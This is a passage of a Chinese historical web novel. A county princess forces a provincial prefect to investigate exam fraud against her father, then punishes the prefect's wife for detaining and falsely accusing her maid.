方青鸾叹了一口气。
永安王这样好的人,怎么就不能多活久一点呢。
就算不能当她女婿,她也还是希望他能健健康康地活下去。
“那,那就再说吧。反正我会每天给永安王上香祷告的,让菩萨一定要保佑他长命百岁。”方青鸾的声音低落了几分。
反正婋婋还小呢,不急着择婿。
去了京城,她再慢慢帮她挑。
她当年十八岁才嫁人,在棠家村算是嫁得晚的了。
生下长子时都二十一了。
后来到了扬州,有一回染病,请了个老大夫来瞧。
老大夫说她身子骨这么硬朗,除了天生底子好,还跟她没太早生养有关系。
妇人年纪太轻就生孩子,容易折损寿元。
所以她觉得女儿也不必那么早成婚生子,慢慢来嘛。
几人正小声嘀咕着,棠云麟就被大哥用胳膊肘撞了一下。
他迅速抬头,瞧见永安王和晏逐星并肩向他们走了过来。
晏逐星先前在和永安王说和邢文琅起冲突的来龙去脉,两人商议了一下待会若是青州知府来了该如何应对。
永安王决定陪她一块在这等青州知府来。
所以她便将他带到了雅间来。
“草民见过王爷。”棠风陵率先行礼,其他棠家人赶紧跟上。
“都是自己人,不必这般拘礼,坐吧。”谢翊宁一摆手,率先坐了下来。
棠家人:“???”
这就自己人上了?
婋婋这救命之恩,也太好用了吧。
晏逐星看了一眼人群里的双鲤,双鲤机灵,立刻下楼催掌柜的送茶和点心到雅间来。
掌柜战战兢兢。
他们这茶楼何曾接待过王爷这般天大的贵人?
惊慌过后,心里头却猛地窜起一股狂喜。
王爷今日在此饮过茶,日后茶楼这招牌岂不是镶了金边?
光是想想日后能吆喝一句“连王爷都赞过的茶楼”,就足以让他热血沸腾了。
他强压下心头的激动,手脚麻利地亲自张罗起来。
不一会儿,几样精致的本地时令茶点便由伙计小心翼翼地送进了雅间。
双鲤接过了他手里的东西,大大方方地介绍了起来。
“这是蜜桃冰碗。如今正是青州蜜桃最甜润多汁的时节,去了皮核的桃肉用冰湃得凉沁沁的,再淋上一点清甜的槐花蜜。保管你们满意。”
“掌柜的说他们这冰碗与沁香斋的冰羹各有千秋,王爷、县主,您二位可要尝尝?”
“沁香斋的要更甜一些,他家这个正好。”晏逐星尝了一口,点了点头,示意爹娘兄长也尝尝。
谢翊宁也跟着点头:“确实不错。”
双鲤受到了鼓励,继续介绍桌上的茶点。
“这是绿豆薄荷凉糕。是用细磨的绿豆沙做成的小巧方糕,再掺上新鲜的薄荷汁子,入口清凉,最能解这六月的暑气。还有本地特产的薄脆芝麻酥饼,香香脆脆的,也特别好吃。”
说完她瞥了一眼抱着剑笔直站在门外的鸣珂。
真是太不机灵了。
若停云大哥在,这哪里用得着她去跟掌柜打听呀。
“这点心当真不错!”棠家人也纷纷跟着点头称赞。
他们先前在雅间里尝的都是沁香斋的冰饮,如今品到这茶楼里的几样茶点,竟也毫不逊色,倒是让人惊喜。
“这绿豆薄荷凉糕得配云雾茶,你试试。”谢翊宁顺手提起茶壶,给晏逐星倒茶。
棠家人仿佛被定住了一般。
他们没看错吧?
永安王亲自给婋婋倒茶?
晏逐星和谢翊宁单独相处久了,已经习惯了他的举动,一时间也没反应过来有什么不对劲。
晏逐星按照他的推荐试了一下,眼前一亮:“确实,这般搭配很解腻。”
她赶忙让家里人也试试。
谢翊宁没有抬手,一旁的双鲤主动上前倒茶。
方青鸾越看越觉得两人有戏。
不然怎么永安王只给婋婋一个人倒茶?
见家里人有些拘谨,不知道该说什么,晏逐星便主动和永安王提起了爹爹功名可能被顶替了一事。
谢翊宁听完脸色顿时变得严肃了起来。
科举乃是朝廷选拔人才的根基,竟有人胆敢行此龌龊之事?
“你们放心,此事本王定会派人严查到底!”
他倒要看看,是谁吃了熊心豹子胆。
他话音未落,门外便传来一阵仓惶的脚步声。
有人想要进来,但是却被门外的鸣珂拦住了。
“本官要见王爷和县主!”
听到这声音,晏逐星和谢翊宁对视一眼,知道来的人是谁了。
“让他进来吧。”谢翊宁开口下令。
鸣珂这才打开雅间的门,让邢天海进去。
邢天海几乎是连滚带爬地冲进了雅间。
他头上的乌纱帽歪斜着,一缕花白的头发狼狈地黏在汗湿的额角,大夏天的,厚重的官袍后背已被冷汗浸透,紧紧贴在身上。
他全然不顾一地狼藉和众人的目光,扑通一声重重跪倒在谢翊宁面前:
“王、王爷息怒!王爷开恩啊!下官该死!教子无方,纵得那孽障无法无天,冲撞了县主。求王爷和县主饶命,饶了那孽障一条狗命吧!”
他一边哭嚎告饶,一边偷偷抬眼打量谢翊宁的脸色。
他真没想到,儿子出门竟然冲撞了县主。明明已经千交代万交代,这个县主是绝对不能得罪的。
怎么还是让两人撞上了?
他更没想到,永安王竟然偷偷来了青州。
这孽障,真是要气死他了。
可他就这么一个儿子,哪里能眼睁睁看着他被人打死,只得慌慌张张地来求饶了。
丢面子是小事,儿子没了才是大事。
谢翊宁居高临下地看着跪在脚边的邢天海。
他冷哼一声:“息怒?开恩?”
“邢知府,你养的好儿子!胆大包天,竟敢指使衙役,意图对宗室贵女行凶,还口口声声污蔑当朝县主为贱婢。”
他每说一句,邢天海的脸色就白上一分。
“依照《大虞律令》,此乃大不敬、谋害宗亲的重罪,当处极刑。”谢翊宁的声音陡然拔高,“你一句教子无方,就想将这天大的罪责轻轻揭过?!”
邢天海只觉得脖子上凉飕飕的,仿佛那刽子手的鬼头刀已经架了上来。
他磕头如捣蒜。
“咚”“咚”“咚”。
磕得十分用力,脑门上磕出血了也不敢停。
“王爷饶命,下官知罪。求王爷开一线之恩!求县主饶了那孽障吧!下官愿做牛做马,任凭王爷和县主差遣!”
见谢翊宁不吭声,他绝望地看向一旁沉默不语的晏逐星。
第284章 当天就搬走
他摸到了怀里的那个搁着他的红丝石砚,如同抓住了最后一根救命稻草,赶忙将红丝石砚拿了出来,双手恭恭敬敬地递给晏逐星。
“县主,千错万错都是下官和那孽障的错!是犬子有眼不识泰山,冲撞了您。求您大发慈悲,饶了他一命吧!求您了!”
他朝着晏逐星的方向,也砰砰磕起头来。
晏逐星冷眼看着脚下苦苦哀求的知府,心中并无多少怜悯。
若她不是县主,若她没有永安王撑腰,只是棠家村的村姑棠云婋。邢文琅将她捉拿入狱折磨,这知府会后悔吗?
当然不会。
但如今邢文琅的命还有用。
她缓缓垂眸看向跪在地上的邢天海,目光平静无波:“饶他一命?邢知府,倒也不是不行。”
邢天海猛地抬起头,眼中迸发出狂喜和难以置信的光芒,如同溺水之人终于看到了一线生机:“谢县主!谢县主大恩大德!下官……”
“倒也不必急着谢本县主。”晏逐星打断了他的话。
邢天海顿时紧张了起来。
这令嘉县主到底想做什么?
拿他当狗耍呢?
他屏住了呼吸,不敢质问,安静等着晏逐星说出下一句话。
晏逐星淡淡道:“本县主有一事,需邢知府去办。办成了,令郎的性命,本县主便不再追究。”
“县主请吩咐!下官赴汤蹈火,万死不辞!”邢天海忙不迭地应承。
晏逐星一字一句道:“本县主要你亲自彻查,当年青州府治下棠家村童生棠风陵,录科考功名疑似被顶替一案。”
“我要当年所有涉事考官、廪生、保结人、乃至试卷存档、录科名录的卷宗。一应人证物证,事无巨细,给我查个水落石出!”
永安王去查,哪有邢天海这个青州知府查起来动作快。
怕邢天海不够用心,晏逐星再次开口敲打他:“邢知府,这是你儿子唯一的活路。你最好查得明白些。”
邢天海浑身一颤,但不敢有丝毫迟疑,重重叩首:“下官遵命。下官定当竭尽全力,彻查此案!定给县主,和棠先生一个交代!”
说完,他小心翼翼地看了一眼一旁的谢翊宁。
“王爷,下官可以去查案了么?”
“去吧。本王只给你三天时间,三天时间查不出,你儿子那边……”谢翊宁没有说完。
邢天海就哆嗦了一下。
“下官一定竭尽全力,不眠不休,将此案彻查到底!”
谢翊宁这才微微颔首,示意他可以离开了。
邢天海如蒙大赦,连滚带爬地冲出茶楼,官袍下摆都被自己踩了几脚也浑然不觉,只恨爹娘少生了两条腿,朝着府衙方向踉跄奔去。
一进府门,那压抑了许久的恐惧瞬间被眼前的景象点燃成滔天怒火。
他唯一的儿子邢文琅,正瘫在正厅的软榻上,哼哼唧唧,惨不忍睹。
左半边脸肿得像个发面馒头,嘴唇破裂,血迹斑斑,几颗碎牙就摆在旁边的托盘里。身上的中衣也被血给浸透了,看着十分骇人。
邢夫人早已哭成了泪人,她发髻散乱地扑在儿子身上。看到邢天海回来,如同见了主心骨,立刻扑上来哭嚎。
“老爷,您可回来了。您看看琅儿,他被那些杀千刀的打成什么样了啊。那个劳什子县主,好生歹毒!竟敢……”
“闭嘴!”邢天海猛地一声暴喝。
随后指着榻上不成人形的儿子,怒骂道:“歹毒?你知道他得罪的是谁?是当朝县主和帝后最宠爱的小儿子永安王!”
“你那宝贝儿子,口口声声骂人家三品的县主贱婢,可我这个知府才四品?你知不知道他犯的是大不敬之罪?”
他越说越气,胸口剧烈起伏,一股邪火无处发泄,猛地转头将所有的恐惧和怨气都发泄到了哭哭啼啼的夫人身上。
“都是你这无知蠢妇!平日里对他百般溺爱,纵得他无法无天。如今踢到铁板,惹下这天大的祸事。你还有脸哭?若非你这慈母多败儿,他何至于此?我邢家何至于此?”
邢夫人被他吼得一愣,随即哭得更凶,尖声道:“老爷!这怎么能是我的错呢?分明是那县主的错。”
“她要出门逛逛,我和盈盈要陪同,她不让。若有我们陪着,琅儿又怎会闯下这样的大祸?”
“都怪她,藏头露尾,若是一早让我们认出她……”
“住口!”她抱怨的话没说完,就被邢天海烦躁的一挥手给打断了。
他此刻心乱如麻,永安王冰冷的眼神和晏逐星那句“唯一的活路”如同催命符般悬在头顶。
他猛地朝外嘶吼:“来人,把张师爷、李师爷都给本官叫来。立刻!马上!点灯,去书房!”
吼完,他看也不看哭嚎的夫人和呻吟的儿子,着急忙慌地冲去了书房。
他必须在三天内,不,最好明天就查出点东西来。
否则,他儿子的命,他的前程,甚至项上人头,都保不住了。
邢夫人被他最后那暴躁的呵斥吓得止住了哭声。
她呆呆地看着邢天海离去的背影,又低头看看儿子惨状,一股滔天的恨意萦绕在心头。
她死死攥紧了手中的帕子,眼中充满了怨恨:都怪那什么令嘉县主,如果不是她,她的琅儿又怎会落得如此下场?
此仇不报,她誓不为人。
*
赶走了青州知府后。
晏逐星几人也决定离开茶楼。
得罪了青州知府,晏逐星自然不打算继续留在府衙里住着了。
她既然已经与家里人相认,那理所当然德就要和家里人住在一起了。
她当即命九栀和双鲤等人去府衙替她把行李取回来。
府衙里。
季行舟满脸幽怨:“刚搬进来,床还没躺热呢,就又要搬走了?”
双鲤压低声音凑到他耳边:“小季大夫,知府大人的儿子得罪了县主,如今被打得下不来床了。你确定你还要在这住吗?”
第285章 马上要报复
双鲤这么一说,季行舟立马把脑袋摇成了拨浪鼓:“搬!马上搬!”
他动作麻利地就开始收拾他那点可怜的家当,生怕晚了一步就被知府报复。
见他如此识趣,双鲤这才笑眯眯地将一直护在怀里的油纸包拿了出来。
她小心翼翼地揭开一角,一股清甜凉爽的绿豆香气混合着淡淡的薄荷味瞬间飘散出来。
“喏,沁香斋的冰饮不好带回来,我特意给你带了一份茶楼里的特色绿豆薄荷凉糕。小季大夫你尝尝?”
季行舟正埋头打包他的宝贝药箱,闻言动作猛地一顿。
他抬起头,看到双鲤手里那包得整整齐齐的油纸包,眼睛瞬间亮了起来。
“凉糕?”他脸上的阴霾瞬间一扫而空,只剩下纯粹的惊喜,“给我的?”
双鲤点了点头:“不然呢,还能给谁。”
她和九栀姐姐还有鸣珂,他们都吃过了。
不仅吃过了凉糕,还吃过了沁香斋的冰饮。
她有些心虚地摸了摸鼻尖。
那会儿她可没想起小季大夫。
还是县主说要回来收拾行李,她才想起来还有一个被他们遗忘在府里的季行舟。
季行舟拈起一块凉糕,迫不及待地咬了一大口,随后露出一副夸张的感动表情:“唔,好吃!双鲤姑娘你真是太好了,比那什么济世菩萨还贴心。”
他被扔在府衙一天了,就双鲤记得给他带吃的。
几口凉糕下肚,心中的感激之情愈发汹涌,他用力拍了下自己的胸膛。
“双鲤姑娘,你这份心意我季行舟记下了!”
“以后甭管是你头疼脑热,还是有什么三灾六病的,”他一挥手,颇有种包揽天下的气势,“尽管来找我季行舟。我保证随叫随到!”
双鲤被他这副豪迈架势逗得“噗嗤”一笑,点头道:“谢谢小季大夫啦。这份保命符,我可就收下了。”
两人说说笑笑收行李时。
邢夫人也得知了他们要搬走的消息。
“不行,不能让他们搬走!”邢夫人脱口而出。
贴身心腹常嬷嬷被她这尖利的声音吓了一跳,忙问:“夫人,这是为何?她走了府里不也清净些?”
“清净?”邢夫人猛地攥紧了手中的帕子,“她走了,琅儿的罪就白受了?我这口恶气找谁出?”
更重要的是,一旦令嘉县主一行人搬出了府衙后院,脱离了知府宅邸的势力范围,她一个后宅妇人,手再长也够不着了。
到时候想报复,无异于痴人说梦。
必须趁他们还在眼皮子底下就动手。
可如今她还什么都没准备,这么火烧眉毛,哪里来得及布置周密的报复?
匆忙之间,她只想到了一个最简单粗暴的法子。
她扭头看向常嬷嬷:“你亲自走一趟,就说府里御赐的赤金点翠穿珠簪丢了,阖府即刻搜查,谁也不许踏出府门半步。尤其是那个叫双鲤的丫头,给我盯死了,绝不能让她离开!”
她嫁给夫君之后,婆婆将邢家家传的御赐金簪赠给了她。
这东西若是丢了,那可不是小事。
常嬷嬷心头一凛,立刻明白了夫人的用意。
她这是要拿县主身边最得力的丫鬟开刀啊。
她不敢迟疑,低低地应了一声:“是,老奴明白!”
常嬷嬷动作十分迅速。
她先叫来管事,低声几句吩咐下去,整个知府后宅的门禁瞬间森严起来,所有通向府外的门都被牢牢守住。
她自己则带着几个膀大腰圆的粗使婆子,目标明确,先去将令嘉县主身边的那个贴身丫鬟给抓了。
此时被常嬷嬷盯上的双鲤正抱着一个藤编箱笼,步履轻快地跟在几位搬运行李的小厮后面,准备将东西送到府外候着的马车上,然后就可以和县主团聚了。
他们一行人刚走到通往外院的二门处,就被两个横眉冷目的门房拦了下来。
“站住!府里有令,任何人不得擅离!”门房的声音硬邦邦的,脸色十分严肃。
小厮们面面相觑,不明所以。
双鲤眉头微蹙,上前一步,声音清脆却不失礼数:“这位大哥,我们是奉县主之命搬运行李出府,并非擅离。烦请通融。”
“通融?”一声冷哼从侧后方传来,常嬷嬷带着人赶到了。
她板着脸严肃地看着双鲤:“府里刚刚报失了一件御赐的宝物,夫人震怒,此刻阖府上下,无论是谁,皆需接受盘查,没有夫人的手令,一只苍蝇也别想飞出去!”
双鲤眉头皱得更紧了。
“这位嬷嬷,是不是有什么误会?我们只在夫人安排的院落呆了一会儿……”
“可今日只有你们出府了!如今府里搜不到,东西必然是被你拿走了。”常嬷嬷强硬地开口,“来人,将她带走,让夫人亲自审问。”
话音落下,她身后的两个婆子便扑了上去一左一右死死攥住了双鲤的胳膊,力道大得让她手中的藤箱“哐当”一声跌落在地。
“你们做什么!”双鲤又惊又怒,挣扎起来,“放开我!我是县主的人,你们无权动我。”
“无权?”常嬷嬷逼近一步,皮笑肉不笑地打断她。
“县主的人又如何?如今是在知府大人的府邸里!夫人丢了御赐之物,事关重大,便是县主亲至,也得配合搜查。至于你……哼,有没有嫌疑,搜过便知!”
她冷冷吩咐道:“来人,把这丫头的箱笼,给我里里外外、仔仔细细地搜,一寸都不许放过。还有她身上,也给我搜干净了。”
双鲤哪里还能不明白,这死老婆子是故意针对她的!
那些粗使婆子得令,立刻扑向掉在地上的箱笼,粗暴地将里面叠放整齐的衣物首饰翻了出来,甚至姑娘家贴身的亵衣小衣都毫不留情地扯出来胡乱抖落在地。
站在双鲤右侧的老婆子伸出粗糙的手探向她的腰带,意图当众扒开她的衣衫搜身。
双鲤气得身子都在抖。
自打被县主带在身边,她已经许久没有受过这样的侮辱了。
她猛地一沉身子,跟着县主学过的粗浅功夫在这一刻派上了用场。
她胳膊肘狠狠向左边一拐,撞在另一个婆子的胸前。
“哎哟!”那婆子吃痛松手。
双鲤用松开的手用力一拳砸在了想要搜身的那个婆子身上。
“啊——!”
杀猪般的惨叫响起,那婆子捂着脸,鼻血瞬间从指缝里涌了出来。
双鲤趁机一把甩开她们就跑。
“抓住她!”常嬷嬷看到这一幕,尖声大叫。
第286章 事情办砸了
双鲤根本不管身后,拔腿就朝县主住的院子狂奔。
她头发散了,衣服也被扯乱了。
“九栀姐姐,鸣珂大哥!救命啊——!”
九栀和鸣珂正在清点最后的东西,听到双鲤呼救的声音吓了一跳,赶紧顺着她的声音方向去找她。
一冲出来就看到双鲤没命狂奔,身后几个婆子张牙舞爪地在追她。
常嬷嬷还在后头跳脚大喊:“抓住她!快!”
“找死。”九栀眉毛一竖,脚步一动,一下就插到双鲤和婆子中间了。
她连剑都没出鞘,抬着剑鞘“啪啪啪”对着冲上来的婆子就是几下狠抽,随后一个旋身踢腿。
冲在最前面的那俩婆子,一个脸上结结实实挨了一鞘,被扇得在原地转了个圈,噗通栽倒地上,眼冒金星。
另一个肚子挨了记狠踹,“嗷”地惨嚎一声,弓着腰倒在地上,疼得直叫唤。
鸣珂紧随其后,一步就挡在双鲤前头,跟座铁塔似的杵那儿。
他眼神一扫,后面那几个婆子立马刹住脚,脸色白了几分,谁也不敢往前凑了。
常嬷嬷气得浑身哆嗦,指着他们尖叫:“反了天了!来人!把院门给我堵死,今天这院里的人,一个都别想离开。”
县主不在这些丫鬟竟然也敢这么嚣张。
他们知不知道这是夫人的地盘。
九栀直接给她气乐了,看都懒得看常嬷嬷一眼,扭头对鸣珂甩了句:“你看好双鲤。”
说完,她脚尖一点地,“噌”一下,跟个狸猫似的就上了旁边那棵大树。
再在树枝上借个力,衣角一掀,人已经利利索索翻过墙头,消失在众人的视线里了。
“……”
整个院子瞬间安静了。
常嬷嬷张着嘴,后面的话全噎嗓子眼里了。
地上躺着的婆子哼哼唧唧直不起身,站着的婆子全傻眼了。
看看那老高的墙头,又瞅瞅地上打滚的同伴,再偷摸瞧了一眼挡在双鲤前面跟门神似的鸣珂,一个个的脑瓜子嗡嗡作响。
鸣珂拔刀指向那些婆子,稳稳当当地把双鲤护在身后。
这点人就想困住他们?
门都没有。
他虽然一句话没说,但在场的人都能看出他脸上的杀气。
要是再敢往前一步,他手上的刀可就要落在她们身上了。
双鲤理了理自己的衣裳,气呼呼地跟鸣珂告状:“他们说东西丢了,污蔑我们偷了,还要打我!”
鸣珂冷冷道:“九栀去请县主了,很快就会回来,待会县主自会替你做主。”
常嬷嬷听到这话,脸色一僵。
她们之所以敢那么嚣张,就是想着县主不在,拿捏小小丫鬟岂不是手到擒来。
但她万万没想到,令嘉县主身边竟然有会武的丫鬟。
“误会,都是误会,老奴只是想找到夫人丢的御赐宝物,绝对没有冒犯县主的意思。”常嬷嬷迅速改口。
“你什么意思,县主来了自有定论。”鸣珂面无表情。
事情是彻底办砸了,常嬷嬷强装着的镇定也没了,赶紧命人去请夫人。
九栀从院墙翻了出去,季行舟坐在马车上看到这一幕。
他顿时目瞪口呆。
县主身边的丫鬟都这么不走寻常路么。
他疑惑地问道:“九栀姑娘,双鲤和鸣珂呢,怎么就你一个人?”
九栀闻声侧头,目光落在季行舟和他身下的马车上。她脚步未停,径直朝马车走来:“他们被困住了,我要找县主。”
季行舟还没琢磨透她这句“被困住了”是何意,就看到她利索地解开了连着车辕的皮扣子。另一只手也没闲着,迅速把挽着车辕的粗绳给抽了出来,动作麻溜得像变戏法。
“哎?九栀姑娘?你这是……”季行舟惊得差点从车辕上跳起来,话都说不利索了。
九栀没回答他,顺手抄起缰绳,左脚尖往马镫里一探,右手在马鞍上一按,人就稳稳地翻上了马背。
她冲护卫留下一句“保护好小季大夫”,就骑着马扬长而去。
季行舟:“???”
他看着那空荡荡的辕杆和微微晃动的车厢,整个人呆在了原地。
九栀姑娘就这样把马骑走了?
那他和车怎么办?
*
晏逐星正和家里人闲话,就看到九栀急匆匆地跑了进来。
“县主,双鲤和鸣珂被扣在了府衙。”
“什么?”晏逐星不可思议地站了起来。
邢天海疯了吗?
敢扣她的人。
“说是丢了什么御赐的宝贝。”九栀三言两语将先前的场景说了出来。
晏逐星沉下了脸:“备马,我亲自去把人接回来。”
听到这话,棠云麒连忙道:“婋婋,我陪你一块去。”
“不必,你们在家等我的好消息就行。”晏逐星不想让家里人跟着担心,这点小场面,她自己就能处理好。
晏逐星直接找秦朔要了二十个精悍的护卫,一行人翻身上马,风驰电掣冲向了青州府衙后宅。
晏逐星勒马停在门前。
跟来的护卫沉声询问:“县主,可要叫人通传?”
晏逐星冷冷一笑,抬手指了指那紧闭的大门,吐出两个字:“砸开。”
“是。”
当即有四个膀大腰圆的汉子翻身下马,也不用找什么趁手家伙,直接抬起门口那沉重的拴马石墩子,狠狠撞向紧闭的朱漆大门。
“咚——!!!”
一声沉闷巨响炸在安静的巷子里。
“谁?!哪个吃了熊心豹子胆的敢……”
门内传来家丁惊怒交加的吼声,然而话音未落。
“咚——!!!”
又是一声响。
第二下撞击紧随而至。
这一次,伴随着木头断裂的声音,一侧门扇直接被撞脱了,歪歪斜斜地挂在上边。
悬挂着写着“邢府”两个大字的匾额也摔了下来,断成了两截。
“住手!快住手!”
门内一片鸡飞狗跳,家丁和仆妇的尖叫此起彼伏。
他们哪里见过这等阵仗。
光天化日之下,竟然有人敢用石墩子砸知府老爷家的私宅大门。
活腻歪了么!
第287章 名师出高徒
晏逐星正准备让人撞第三下大门,邢天海就急匆匆地赶了出来。
“住手!快住手!”
邢天海冲出来,看到面若冰霜的晏逐星以及她身后那二十个杀气腾腾的护卫,顿时觉得眼前一黑。
他一把推开挡路的家丁,手忙脚乱地跪下行礼:“下官参见县主。不知您这般大动干戈,所谓何故?”
他脑子里一片空白,完全不明白这位祖宗为何突然带人打上门来。
他不是已经答应替她查当年的案子了么,这才过了半天,怎么就不讲武德冲过来找茬了呢?
晏逐星连马都没下,冷冷地看着他:“本县主要搬到别处去住,尊夫人却扣下了我的两个贴身丫鬟不许他们离开。我来就是想问问,邢大人这是什么意思?”
听她提起自己的夫人,邢天海又急又怒。
急的是晏逐星这尊大佛来势汹汹,连他家大门都砸了,这架势,恐怕不是他磕几个头说几句软话就能轻易揭过去的。
怒的更是他那不知天高地厚的蠢婆娘。
好端端的,扣留令嘉县主的贴身丫鬟做什么?
她脑子里装的是浆糊吗?
他在这边焦头烂额,拼了老命想给儿子抢一线生机,她不帮忙也就罢了,竟然还在背后捅这么大个篓子。
真是成事不足,败事有余!
一股强烈的悔意瞬间淹没了他。
当初他真是被猪油蒙了心。
早知道她是这么个祸害,他就不该贪图她那几分颜色。
现在想来,还是母亲说得对,正室夫人就该寻个门当户对,真正拎得清的宗门嫡女。
那样的夫人,懂得审时度势,明白什么该碰什么不该碰,能帮他周全人情往来、打理后宅安宁,而不是像现在这位,除了惹是生非,就是给他招灾引祸。
“误会!这当中肯定有什么误会。”邢天海心里纵使有百般不满,但还是要先将此事解决。
他急得满头大汗,拼命辩解:“下官正忙着查您让查的那件案子呢,对此事毫不知情。定是内宅妇人无知,冲撞了县主的人。下官这就放人!这就放人!”
巷子里的动静早已惊动了左邻右舍,不少人偷偷打开门缝看了过来。
瞧见知府大人如此狼狈地对着一位骑马少女赔罪,全都惊得目瞪口呆。
“不必,本县主亲自去接人。”晏逐星翻身下马。
她已经有了对策。
邢夫人不是说她御赐的东西丢了么,正好,她在临清丢的东西,那就让她来补上吧。
“是是是,一切都听县主安排。”邢天海忙不迭应下,躬身在前边给她引路。
去到了院子里。
双鲤瞧见晏逐星,一直强忍着的眼泪一瞬间就落了下来。
她扑向晏逐星,声音有几分哽咽:“县主,他们欺负人,还污蔑我偷东西。”
晏逐星看着双鲤凌乱的头发,和被扯乱的衣裳,脸色愈发阴沉。
邢夫人后槽牙都要咬碎了。
她是第一次见到令嘉县主的真面目。
一个黄毛丫头,竟然就把她的儿子打成了那样,老爷竟然还对她卑躬屈膝?
真是气死她了。
“到底是怎么回事?”邢天海怒吼一声,给夫人使眼色,让她赶紧出来道歉,把事情给抹平了。
“母亲给的那个御赐的簪子不见了,我一时心急,所以才封锁不让人走。等查清了,自然就会让他们离开了。”邢夫人忍着愤怒解释。
虽然她恨晏逐星,但自家老爷在这,她还是清醒了几分,不敢造次。
“县主,您瞧,这就是内子无知胆小,造成的误会,您大人有大量,就饶了她这一回吧。”邢天海赶忙解释。
晏逐星没有搭理她,扭头看向一旁的双鲤,淡淡道:“双鲤,见到县主不行礼,依照《大虞律令》该当何罪?”
这轻飘飘的一句话,如同重锤砸在邢夫人心头。
她不是无知村妇,她当然知道《大虞律令》对上下尊卑的严苛规定。
命妇见宗室贵女,必须依礼参拜。
她刚才气昏了头,又被晏逐星的强势震慑,竟忘了这要命的规矩。
双鲤心领神会,朗声道:“回县主,《大虞律令·仪制》第十七条:凡命妇遇宗室贵女,当行全礼参拜。若见而不拜,或拜仪不恭,视为大不敬。依律,当庭笞责三十,以儆效尤。”
念完这一长串,她忍不住在心底偷偷“嘿”了一声。
好险啊,多亏了衔蝉姐姐当初对她耳提命面。
“你是县主身边的脸面!走出去一言一行都代表主子。这些规矩律令,就是你们的护身符。若是记不清,将来得罪了人,怎么死的都不知道。”
她那时候被逼着背这些枯燥的条文,背得头昏脑涨,还因为没记熟挨过衔蝉姐姐几回戒尺,手心都敲麻了。
那会儿她可没少在心里嘀咕衔蝉姐姐太严苛。
现在看到眼前抖如筛糠,即将挨打的知府夫人,双鲤只觉得一股神清气爽。
衔蝉姐姐打得好啊,打得妙啊,就该对她严厉一点。
名师出高徒!
她这回没给县主丢人。
“三十藤条”几个字让邢夫人浑身一抖,腿一软,差点瘫倒在地。
她求助地看向邢天海,却发现邢天海脸色灰败,嘴唇哆嗦着,一个字也不敢说。
令嘉县主搬出了《大虞律令》,这是铁打的规矩。他若敢求情,就是公然藐视国法,罪加一等。
“嗯。”晏逐星淡淡应了一声,终于正眼看向了面无人色的邢夫人。
她的眼神里没有愤怒,只有一种居高临下的漠然,如同看一件需要处理的物件:“邢夫人,可听清了?”
“我……”邢夫人动了动嘴唇,想辩解,想求饶,却一个字也说不出来。
“看来是听清了。”晏逐星不再看她,只对双鲤微微颔首,“既已知律,便依律行事。邢夫人年岁不小了,仔细些,莫打坏了筋骨。”
“是!”双鲤应声干脆,眼里闪过了一丝雀跃。
她朝旁边的鸣珂使了个眼色。
鸣珂这一回反应很快,将另一个护卫叫了过去,两人一左一右地将邢夫人控制住。
“不!不要!老爷!救我!”邢夫人吓坏了,爆发出凄厉的尖叫,拼命挣扎,头上的钗环叮当乱响,狼狈不堪。
第288章 很难不多想
双鲤高高兴兴地接过护卫递来的浸过水的藤条。
九栀轻咳了一声,她当即压住上翘的嘴角。
她板起脸站定在邢夫人身后,高高扬起了手臂。
所有人的目光都聚焦在那根扬起的藤条上。
啪!
一声清脆响亮的抽打声,打破了院子里的死寂。
“啊——!”
邢夫人发出杀猪般的惨嚎,身体剧烈地弹跳了一下,却被鸣珂二人死死按住。
双鲤面无表情,手臂再次扬起,落下。
藤条抽打在皮肉上的声音,混合着邢夫人撕心裂肺的哭嚎,整个院子里所有人大气都不敢喘一下。
打到第十鞭时,邢天海看着夫人背上渗血的衣衫和那凄厉的惨嚎,终究还是没忍住,跪倒在地替她求饶:
“求县主开恩啊!内子愚钝无知,已然知错,如今也受了教训了。求县主饶了她这一回吧。下官日后定当严加管教!”
晏逐星微微抬手,双鲤手中的藤条立刻停在了半空中。
“邢大人,”晏逐星的声音听不出喜怒,“先前令郎冒犯本县主的事情,念在他年轻气盛,我已不予深究。如今,你的夫人又公然藐视国法,冲撞本县主。”
“他们这么做,很难不让我多想……”
她顿了顿,让邢天海的心提到了嗓子。
“会不会是你这个当家做主的人下的命令,所以他们才这样胆大妄为?”
邢天海背后一凉,头埋得更低了:“下官绝无此意!!!此乃下官治家不严之过,内子与犬子都是罪有应得……”
他猛地想起晏逐星之前提过要“认真查案”,急声道:“求县主念在下官尽心竭力追查那要案的份上,网开一面!”
晏逐星垂眸思索,没有吭声。
这短暂的沉默对邢天海而言,简直堪比天牢酷刑。
终于,她淡淡开口,像是施舍:“也罢。看在邢大人还算勤勉的份上,就饶过她这一回吧。”
还指望着邢天海替她查当年的案子呢,总不能逼得太急。
这十鞭,也够邢夫人在床上趴半个月了。
“谢县主宽宏!”邢天海连连磕头,背上的衣裳已经彻底被冷汗浸透。
晏逐星看向双鲤:“先前落的东西呢,可曾收好了?皇后娘娘赏我的那只羊脂玉镯子呢,可千万别丢了。”
双鲤一听这话,立刻就明白了县主的意思。
皇后娘娘赏的镯子这般贵重,县主才没有带出门呢,还在京城。
她当即跪下,“哇”一声就哭了。
“呜呜呜呜,奴婢无用,先前他们把箱笼打翻之后,奴婢还没来得及收拾呢。”
“东西都在这了,我们是不小心打翻的。姑娘莫怪。”常嬷嬷眼看自家夫人都被打了,她哪里还敢跟晏逐星作对,慌慌张张地把东西交给了双鲤。
双鲤翻开一看,露出一副又惊又怒的表情:“县主,皇后娘娘赏您的羊脂玉镯子不见了!还有烈国公夫人给您的那套赤金头面也不见了!”
听到这话,邢天海暗道不妙。
糟糕,令嘉县主恐怕要借题发挥了。
常嬷嬷更是吓得脸色煞白。
御赐之物丢了?那可是要命的。
“胡说八道,我的人根本就没有碰过你们的东西!”邢夫人强忍着背上的不适反驳。
晏逐星没理她,看向邢天海语气陡然变得冷厉:“那只羊脂玉镯子是前些时日皇后娘娘生辰宴时赏给我的。如今在你府上丢了,邢大人,你说这又该当如何?”
邢天海刚放下的心瞬间又提到了嗓子眼。
他心中叫苦不迭,却不敢有半分迟疑,立刻表态:“竟有此事?!这些该死的狗东西,定是他们手脚不干净!县主放心!下官这就命人去搜,一定会将东西给您找到。”
他的声音抑扬顿挫,带着十二万分的诚恳和痛心疾首。
“行,双鲤,你和九栀带上人,分头跟着邢大人府上的嬷嬷们找吧。记得务必要把这后宅上上下下都搜干净。”晏逐星点了点头。
双鲤和九栀毫不犹豫地应下。
晏逐星在院中阴凉的地方坐下,鸣珂在一旁给她打扇子。
